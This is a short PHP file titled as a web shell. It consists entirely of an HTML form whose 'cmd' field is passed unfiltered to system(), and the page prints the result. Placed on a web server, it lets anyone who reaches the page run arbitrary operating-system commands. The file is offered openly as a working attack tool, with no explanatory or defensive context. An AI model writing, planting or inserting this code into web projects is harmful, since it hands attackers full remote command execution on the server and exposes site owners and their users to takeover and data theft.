PHP Webshell

<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
</form>
<pre>
    <?php
        if(isset($_GET['cmd']))
        {
            system($_GET['cmd']);
        }
    ?>
</pre>
</body></html>